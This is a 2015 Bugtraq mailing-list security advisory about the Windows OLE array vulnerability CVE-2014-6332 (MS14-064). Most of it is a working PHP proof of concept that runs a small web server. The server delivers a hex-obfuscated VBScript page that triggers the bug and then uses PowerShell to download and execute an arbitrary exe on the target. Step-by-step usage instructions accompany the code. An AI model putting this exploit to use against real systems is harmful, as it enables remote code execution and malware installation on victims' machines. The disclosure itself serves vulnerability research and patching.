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Microsoft HTA (HTML Application) - Remote Code Execution Vulnerability (MS14-064)
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Microsoft HTA (HTML Application) - Remote Code Execution Vulnerability (MS14-064)
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 20 Aug 2015 14:25:26 +0200
Document Title:
===============
Microsoft HTA (HTML Application) - Remote Code Execution Vulnerability
(MS14-064)
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1576
Video: http://youtu.be/Vkswz7vt23M
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332
CVE-ID:
=======
CVE-2014-6332
Release Date:
=============
2015-08-15
Vulnerability Laboratory ID (VL-ID):
====================================
1576
Common Vulnerability Scoring System:
====================================
9.3
Abstract Advisory Information:
==============================
The Vulnerability Laboratory discovered remote code execution vulnerability in
the Microsoft HTA (HTML Application) - MS14-064.
Vulnerability Disclosure Timeline:
==================================
2015-08-15: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2,
Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1,
Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote
attackers to execute arbitrary code via a crafted web site, as demonstrated by
an array-redimensioning attempt that triggers improper handling of a size value
in the SafeArrayDimen function, aka Windows OLE Automation
Array Remote Code Execution Vulnerability.
Proof of Concept (PoC):
=======================
The vulnerbility can be exploited by remote attackers without user interaction
or privilege application user accounts.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce ...
1 . Run php code : php hta.php
2 . Copy this php output (HTML) and Paste as poc.hta (Replace ip)
3 . Open poc.hta
4 . Your Link Download/Execute on your target
5 . Finished ;)
#!/usr/bin/php
<?php
# Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution
# Tested on Windows 7 / Server 2008
#
#
# Author : Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham
#
#
# MS14-064
#
#
# 1 . run php code : php hta.php
# 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip)
# 3 . open poc.hta
# 4 . Your Link Download/Execute on your target
# 5 . Finished ;)
#
# Demo : http://youtu.be/Vkswz7vt23M
#
$port=80; # Port Address
$link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe";; # Your
exe link
print " Mohammad Reza Espargham\n\n\n";
$host= gethostname(); #g3th0stn4m3
$ip = gethostbyname($host); #g3th0stbyn4m3
print "Winrar HTML Code\n".'<html><head><title>poc</title><META
http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n";
$reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create
socket!');
socket_bind($reza, 0,$port);
socket_listen($reza);
$msgd =
"\x3c\x68\x74\x6d\x6c\x3e\x0d\x0a\x3c\x6d\x65\x74\x61\x20\x68\x74\x74\x70\x2d\x65\x71\x75\x69\x76".
"\x3d\x22\x58\x2d\x55\x41\x2d\x43\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x22\x20\x63\x6f\x6e\x74\x65".
"\x6e\x74\x3d\x22\x49\x45\x3d\x45\x6d\x75\x6c\x61\x74\x65\x49\x45\x38\x22\x20\x3e\x0d\x0a\x3c\x68".
"\x65\x61\x64\x3e\x0d\x0a\x3c\x2f\x68\x65\x61\x64\x3e\x0d\x0a\x3c\x62\x6f\x64\x79\x3e\x0d\x0a\x20".
"\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55\x41\x47\x45\x3d\x22\x56\x42\x53\x63".
"\x72\x69\x70\x74\x22\x3e\x0d\x0a\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6e\x6d\x75".
"\x6d\x61\x61\x28\x29\x20\x0d\x0a\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20".
"\x4e\x65\x78\x74\x0d\x0a\x73\x65\x74\x20\x73\x68\x65\x6c\x6c\x3d\x63\x72\x65\x61\x74\x65\x6f\x62".
"\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22".
"\x29\x0d\x0a\x63\x6f\x6d\x6d\x61\x6e\x64\x3d\x22\x49\x6e\x76\x6f\x6b\x65\x2d\x45\x78\x70\x72\x65".
"\x73\x73\x69\x6f\x6e\x20\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x53\x79\x73\x74\x65".
"\x6d\x2e\x4e\x65\x74\x2e\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x29\x2e\x44\x6f\x77\x6e\x6c\x6f\x61".
"\x64\x46\x69\x6c\x65\x28\x27\x46\x49\x4c\x45\x5f\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x27\x2c\x27\x6c".
"\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x2d".
"\x63\x6f\x6d\x20\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x29\x2e\x53".
"\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x27\x6c\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b".
"\x22\x0d\x0a\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x20\x22\x70".
"\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c\x2e\x65\x78\x65\x22\x2c\x20\x22\x2d\x43\x6f\x6d\x6d\x61\x6e".
"\x64\x20\x22\x20\x26\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x2c\x20\x22\x22\x2c\x20\x22\x72\x75\x6e\x61".
"\x73\x22\x2c\x20\x30\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x3c\x2f\x73".
"\x63\x72\x69\x70\x74\x3e\x0d\x0a\x20\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55".
"\x41\x47\x45\x3d\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3e\x0d\x0a\x20\x20\x0d\x0a\x64\x69\x6d".
"\x20\x20\x20\x61\x61\x28\x29\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x29\x0d\x0a\x64\x69\x6d".
"\x20\x20\x20\x61\x30\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x31\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61".
"\x32\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x33\x0d\x0a\x64\x69\x6d\x20\x20\x20\x77\x69\x6e\x39\x78".
"\x0d\x0a\x64\x69\x6d\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x0d\x0a\x64\x69\x6d\x20".
"\x20\x20\x72\x6e\x64\x61\x0d\x0a\x64\x69\x6d\x20\x20\x20\x66\x75\x6e\x63\x6c\x61\x73\x73\x0d\x0a".
"\x64\x69\x6d\x20\x20\x20\x6d\x79\x61\x72\x72\x61\x79\x0d\x0a\x20\x0d\x0a\x42\x65\x67\x69\x6e\x28".
"\x29\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x42\x65\x67\x69\x6e\x28\x29\x0d\x0a".
"\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a".
"\x20\x20\x69\x6e\x66\x6f\x3d\x4e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x55\x73\x65\x72\x41\x67\x65".
"\x6e\x74\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
"\x57\x69\x6e\x36\x34\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20".
"\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69".
"\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x20\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
"\x4d\x53\x49\x45\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x20\x0d\x0a\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x20\x3d\x20\x43\x49\x6e".
"\x74\x28\x4d\x69\x64\x28\x69\x6e\x66\x6f\x2c\x20\x49\x6e\x53\x74\x72\x28\x69\x6e\x66\x6f\x2c\x20".
"\x22\x4d\x53\x49\x45\x22\x29\x20\x2b\x20\x35\x2c\x20\x32\x29\x29\x20\x20\x20\x0d\x0a\x20\x20\x65".
"\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f".
"\x6e\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x65".
"\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x77\x69\x6e\x39\x78\x3d\x30\x0d\x0a\x20\x0d\x0a".
"\x20\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x49\x66\x20\x43\x72\x65\x61".
"\x74\x65\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
"\x72\x72\x61\x79\x3d\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68".
"\x72\x77\x28\x32\x31\x37\x36\x29\x26\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68\x72\x77\x28\x30".
"\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72".
"\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
"\x72\x72\x61\x79\x3d\x6d\x79\x61\x72\x72\x61\x79\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68".
"\x72\x77\x28\x33\x32\x37\x36\x37\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28".
"\x30\x29\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f".
"\x6e\x3c\x34\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75".
"\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x62\x72\x3e\x20\x49\x45\x22\x29\x0d\x0a\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x69".
"\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6e".
"\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x28\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x20\x20\x0d\x0a\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29".
"\x0d\x0a\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69\x66\x0d".
"\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69".
"\x6f\x6e\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x20\x52\x61\x6e\x64\x6f".
"\x6d\x69\x7a\x65\x28\x29\x0d\x0a\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x61\x28\x35\x29\x0d\x0a".
"\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x62\x28\x35\x29\x0d\x0a\x20\x20\x20\x61\x30\x3d\x31\x33".
"\x2b\x31\x37\x2a\x72\x6e\x64\x28\x36\x29\x0d\x0a\x20\x20\x20\x61\x33\x3d\x37\x2b\x33\x2a\x72\x6e".
"\x64\x28\x35\x29\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66".
"\x75\x6e\x63\x74\x69\x6f\x6e\x20\x43\x72\x65\x61\x74\x65\x28\x29\x0d\x0a\x20\x20\x4f\x6e\x20\x45".
"\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x64\x69\x6d\x20".
"\x69\x0d\x0a\x20\x20\x43\x72\x65\x61\x74\x65\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x46\x6f\x72".
"\x20\x69\x20\x3d\x20\x30\x20\x54\x6f\x20\x34\x30\x30\x0d\x0a\x20\x20\x20\x20\x49\x66\x20\x4f\x76".
"\x65\x72\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x43".
"\x72\x65\x61\x74\x65\x3d\x54\x72\x75\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20".
"\x46\x6f\x72\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x0d\x0a\x20\x20\x4e\x65\x78\x74".
"\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x73\x75\x62\x20\x74".
"\x65\x73\x74\x61\x61\x28\x29\x0d\x0a\x65\x6e\x64\x20\x73\x75\x62\x0d\x0a\x20\x0d\x0a\x66\x75\x6e".
"\x63\x74\x69\x6f\x6e\x20\x6d\x79\x64\x61\x74\x61\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45".
"\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20\x20\x69".
"\x3d\x74\x65\x73\x74\x61\x61\x0d\x0a\x20\x20\x20\x20\x20\x69\x3d\x6e\x75\x6c\x6c\x0d\x0a\x20\x20".
"\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32".
"\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a".
"\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x69\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30".
"\x29\x3d\x36\x2e\x33\x36\x35\x39\x38\x37\x33\x37\x34\x33\x37\x38\x30\x31\x45\x2d\x33\x31\x34\x0d".
"\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x3d\x6d\x79\x61\x72\x72\x61".
"\x79\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x37\x34\x30\x38\x38\x35\x33\x34".
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"\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a\x20\x20\x20\x20\x72\x65\x64".
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"\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x0d".
"\x0a\x20\x0d\x0a\x3c\x2f\x62\x6f\x64\x79\x3e\x0d\x0a\x3c\x2f\x68\x74\x6d\x6c\x3e";
$msgd=str_replace("FILE_DOWNLOAD",$link,$msgd);
for (;;) {
if ($client = @socket_accept($reza)) {
socket_write($client, "HTTP/1.1 200 OK\r\n" .
"Content-length: " . strlen($msgd) . "\r\n" .
"Content-Type: text/html; charset=UTF-8\r\n\r\n" .
$msgd);
print "\n Target Checked Your Link \n";
}
else usleep(100000);
}
?>
Security Risk:
==============
The security risk of the security vulnerability in the html hta application is
estimated as high. (CVSS 9.3)
Credits & Authors:
==================
Author: Mohammad Reza Espargham
Linkedin: https://ir.linkedin.com/in/rezasp
E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
Website: www.reza.es
Twitter: https://twitter.com/rezesp
FaceBook: https://www.facebook.com/mohammadreza.espargham
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental,
consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of
such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade
with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
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Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
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